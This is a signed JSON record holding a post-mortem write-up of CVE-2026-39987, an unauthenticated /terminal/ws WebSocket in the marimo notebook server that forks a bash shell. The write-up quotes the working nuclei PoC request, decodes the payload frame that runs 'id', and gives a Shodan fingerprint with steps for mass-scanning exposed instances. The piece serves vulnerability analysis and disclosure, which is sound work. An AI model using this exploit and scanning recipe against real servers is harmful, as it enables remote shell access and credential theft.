-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## Starlette's auth middleware does not gate WebSockets. The author said so.\n\nOn September 9, 2025, commit `2beaf09d3` landed in the marimo repo. The commit message is one paragraph:\n\n> Starlette's auth middleware does not validate auth on websocket connections (only HTTP). This adds an extra validation step during the websocket initial connection.\n\nThe patch added seven lines at the top of the main kernel WebSocket handler in `marimo/_server/api/endpoints/ws_endpoint.py`:\n\n```python\napp_state = AppState(websocket)\n\n# Validate authentication before proceeding\nif app_state.enable_auth and not validate_auth(websocket):\n await websocket.close(\n WebSocketCodes.UNAUTHORIZED, \"MARIMO_UNAUTHORIZED\"\n )\n return\n```\n\nThe same seven lines landed at the top of `ws_sync` in the same commit, covering the Loro RTC endpoint. The diagnosis in the commit message is correct and complete. Starlette's `AuthenticationMiddleware` runs on every connection, but its job is to populate `scope[\"user\"]`, not to reject unauthenticated ones. HTTP endpoints opt into rejection through the `@requires(...)` decorator. WebSocket endpoints have no equivalent. They have to call `validate_auth()` inside the handler body, or nothing rejects them.\n\nThe marimo server registered three `@router.websocket` handlers in its main router. The sweep covered two of them:\n\n| Route | File | Auth check after Sept 9, 2025 |\n|-------|------|-------------------------------|\n| `/ws` | `endpoints/ws_endpoint.py` | Added in commit `2beaf09d3` |\n| `/ws_sync` | `endpoints/ws_endpoint.py` | Added in commit `2beaf09d3` |\n| `/terminal/ws` | `endpoints/terminal.py` | None |\n\nThe file next to the two that were patched contained a handler that spawned a PTY shell, and the sweep missed it.\n\n## The exploit is the endpoint\n\nThe published PoC is a nuclei template. The business logic is fourteen lines:\n\n```javascript\nlet conn = net.Open('tcp', addr);\nlet wsKey = \"dGhlIHNhbXBsZSBub25jZQ==\";\n\nlet req = \"GET /terminal/ws HTTP/1.1\\r\\n\";\nreq += \"Host: \" + addr + \"\\r\\n\";\nreq += \"Upgrade: websocket\\r\\n\";\nreq += \"Connection: Upgrade\\r\\n\";\nreq += \"Sec-WebSocket-Key: \" + wsKey + \"\\r\\n\";\nreq += \"Sec-WebSocket-Version: 13\\r\\n\";\nreq += \"Origin: http://\" + addr + \"\\r\\n\";\nreq += \"\\r\\n\";\n\nconn.Send(req);\nlet upgradeResp = conn.RecvString();\n\nif (upgradeResp.indexOf(\"101\") !== -1) {\n conn.SendHex(\"818337fa1e2d5e9e14\");\n```\n\nNo cookie. No `Authorization` header. No `access_token` query parameter. A raw HTTP upgrade to the terminal path, and the server returns `HTTP/1.1 101 Switching Protocols`.\n\nThe hex payload decodes cleanly. `0x81` is a FIN text frame. `0x83` is mask-on, three-byte payload. `0x37fa1e2d` is the mask, `0x5e9e14` is the masked body. XOR produces the bytes `69 64 0a`, which is `id\\n`.\n\nThe handler receives that as a text message inside `_write_to_pty`, encodes it as UTF-8, and writes it to the PTY master file descriptor that `pty.fork()` returned. The child side of the fork has executed `/bin/bash`. The shell reads `id` from its stdin, runs it, and writes `uid=1000(user) gid=1000(user) groups=...` back through the PTY. `_read_from_pty` wakes up, pulls the bytes, decodes them, and sends them as a WebSocket text message. The template's matcher is `uid=\\d+\\([^)]+\\)`, which is the exact output shape of `id(1)`.\n\nThe shell the attacker is talking to inherits everything the parent had. `pty.fork()` preserves the environment, the working directory, the open file descriptors that survive fork, and the process credentials. Marimo's child-setup helper does not drop privileges or clear the environment:\n\n```python\ndef _create_shell_environment(cwd: str | None = None) -> tuple[str, dict[str, str]]:\n ...\n env = os.environ.copy()\n env[\"TERM\"] = \"xterm-256color\"\n env[\"LANG\"] = env.get(\"LANG\", \"en_US.UTF-8\")\n env[\"LC_ALL\"] = env.get(\"LC_ALL\", \"en_US.UTF-8\")\n```\n\nThree environment variables get set. The rest of `os.environ` is copied wholesale. Whatever cloud credentials, database URLs, API tokens, or secret-manager tokens the operator exported before `marimo edit` are visible to the unauthenticated shell via `env` on its first line of input. In typical container deployments the shell is running as root, or as an application user with write access to the notebook tree and unrestricted network egress. The PoC confirms a shell. Confirming a shell is the hard part.\n\n## The pre-patch guards were availability checks\n\nThe pre-patch handler did have two guards. It rejected non-edit modes, and it rejected environments where `pty` is unavailable:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n if app_state.mode != SessionMode.EDIT:\n await websocket.close(\n code=1008, reason=\"Terminal only available in edit mode\"\n )\n return\n\n if not supports_terminal():\n await websocket.close(\n code=1008, reason=\"Terminal not supported in this environment\"\n )\n return\n\n try:\n await websocket.accept()\n```\n\nBoth are availability checks. Neither answers the question \"is this caller allowed to open a shell on this server.\" The first check is satisfied by running `marimo edit`, which is how the product is marketed. The second is satisfied by Linux, which is where the product is deployed. The handler has shape that looks defensive, because it returns early on two different conditions, and the shape is the kind of shape a reviewer scans as \"this function rejects bad input.\" The function does reject bad input. It just never rejects unauthenticated input.\n\n## The fix is the commit from September 2025, copied into the file next door\n\nCommit `c24d48063`, April 8, 2026, PR #9098, titled \"fix: properly authenticate terminal route\":\n\n```diff\n @router.websocket(\"/ws\")\n async def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n+\n+ if app_state.enable_auth and not validate_auth(websocket):\n+ await websocket.close(\n+ WebSocketCodes.UNAUTHORIZED, \"MARIMO_UNAUTHORIZED\"\n+ )\n+ return\n+\n if app_state.mode != SessionMode.EDIT:\n```\n\nThe fix is the same seven-line block, written by the same author, calling the same function, producing the same close code. The file containing the earlier fix was `endpoints/ws_endpoint.py`. The file that needed this fix was `endpoints/terminal.py`. The two files are in the same directory.\n\nBetween September 9, 2025 and April 8, 2026, the marimo server shipped 211 days of releases. In every one of them, the fix pattern was present in the repository, and the endpoint that most needed it was missing the pattern.\n\n## The tests institutionalized it\n\nThe test file for the terminal endpoint existed before the fix. Its main case:\n\n```python\n@pytest.mark.skipif(is_windows, reason=\"Skip on Windows\")\ndef test_terminal_ws(client: TestClient) -> None:\n with client.websocket_connect(\"/terminal/ws\") as websocket:\n websocket.send_text(\"echo hello\")\n data = websocket.receive_text()\n```\n\nNo `access_token`. No authentication. The test asserts that `echo hello` reaches the shell and comes back. The test passed because the production code let it pass. The test did not catch the missing auth check. The test encoded the same assumption the handler did, written by the same author on the same afternoon as the handler.\n\nThe fix had to retrofit every existing terminal test to pass `?access_token=fake-token` in the URL, and add two new cases asserting that the wrong token and the missing token both close with WebSocket code 3000:\n\n```python\ndef test_terminal_ws_unauthorized(client: TestClient) -> None:\n \"\"\"Test terminal websocket rejects unauthenticated connections.\"\"\"\n with pytest.raises(WebSocketDisconnect) as exc_info:\n with client.websocket_connect(\"/terminal/ws\"):\n pass\n assert exc_info.value.code == 3000\n```\n\nThe two positive-path tests that had shipped since July 2024 were running for twenty months against an endpoint that had never required a token. The tests did not miss the bug. They were the bug, in test form.\n\n## A mass-scan primitive was built into the template\n\nThe nuclei template ships with metadata that makes this a one-command internet-scale exploit:\n\n```yaml\nmetadata:\n verified: true\n max-request: 1\n vendor: marimo-team\n product: marimo\n shodan-query: http.favicon.hash:-1864630356\ntags: cve,cve2026,marimo,rce,websocket,vkev,kev\n```\n\nThe `shodan-query` field is a pre-computed fingerprint. Anyone with a Shodan account can paste `http.favicon.hash:-1864630356` into the dashboard and get the list of every marimo instance reachable from the public internet. Pipe that list through `nuclei -t CVE-2026-39987.yaml` and each confirmed hit has an `id` return. The template tags include `vkev` and `kev`, which is the project's own flag that the vulnerability is on the CISA Known Exploited Vulnerabilities list. CISA set the KEV deadline at May 7, 2026, which requires federal agencies to patch within about two weeks of the listing. Mandatory patching deadlines get attached when CISA has evidence of in-wild exploitation.\n\nThe delta between \"the fix was in the file next door, unnoticed\" and \"a templated exploit with a shodan fingerprint is in the public nuclei catalog and the vulnerability is KEV-listed\" is approximately two weeks. The bug had been silent for twenty months. Once it stopped being silent, the operational kit arrived immediately.\n\n## The third instance, five days later\n\nOn April 13, 2026, commit `936ed92cf` landed. Title: \"fix: require auth in LSP middleware.\" The patch adds a `require_auth: bool = True` gate to `ProxyMiddleware`, which fronts the LSP WebSocket. That is the third instance of the same class in the same codebase, patched by the same author, one working week after the terminal fix:\n\n| Date | Event | Same class |\n|------|-------|------------|\n| 2024-07-22 | `/terminal/ws` introduced (PR #1786), forks `/bin/bash` via `pty.fork()` | First instance planted |\n| 2025-09-09 | `/ws` and `/ws_sync` get `validate_auth` (PR #6284) | Author writes the class diagnosis in the commit message |\n| 2026-04-08 | `/terminal/ws` gets the same seven-line block (PR #9098), ships in release 0.23.0 | CVE-2026-39987 |\n| 2026-04-13 | LSP proxy middleware gets `require_auth` (PR #9160) | Third instance, patched proactively |\n| 2026-04-23 | Nuclei template published; CVE lands on CISA KEV with deadline 2026-05-07 | |\n\nThe substrate is Starlette plus WebSockets. The middleware architecture guarantees HTTP endpoints opt into auth through a decorator and WebSocket endpoints do not. Marimo's maintainer has now written essentially the same fix three times in three different files, citing the same diagnosis each time. This is the [design-debt-driver](/patterns/design-debt-driver) shape: patches close instances, the design holds the primitive. The class has produced one CVE of the three instances. The CVE is the one where the handler happened to fork a shell.\n\nPoC: [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2026/CVE-2026-39987.yaml)","closing_line":"The fix for this endpoint was in the file next door. It had been there for seven months.","hook_md":"Marimo is a Python notebook server. Started with `marimo edit`, it binds HTTP and WebSocket routes for the editor, the kernel, LSP proxying, and, as of a feature added in July 2024, an in-browser terminal. The terminal endpoint lives at `/terminal/ws`. Reach it and the server runs `pty.fork()` and execs `/bin/bash`. The shell's uid is whoever launched `marimo edit`.\n\nEvery other WebSocket handler in the marimo server had an explicit `validate_auth(websocket)` call at the top of its handler. The one that forks a shell did not. The author knew this class existed. They wrote a commit message about it in September 2025. They applied the fix to the two endpoints they were looking at. The third endpoint shipped without it for another seven months.","post_id":40,"slug":"marimo-terminal-ws-only-websocket-without-the-check","title":"CVE-2026-39987: The Only WebSocket in Marimo Without an Auth Check Was the One That Forks a Shell","type":"initial","unreadable_sentence":"The class has produced one CVE of the three instances. The CVE is the one where the handler happened to fork a shell."} -----BEGIN PGP SIGNATURE----- iHQEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafzHYAAKCRDeZjl4jgkQ JiMDAP9dBUxdV9AHkTTtS53BdxDgay+z4NbgPxSXBzbwr2/P2gD4iScl4ZuwUnSf CYXrJuWYBuoYFJgEllw4M9I61U42Bw== =3jR8 -----END PGP SIGNATURE-----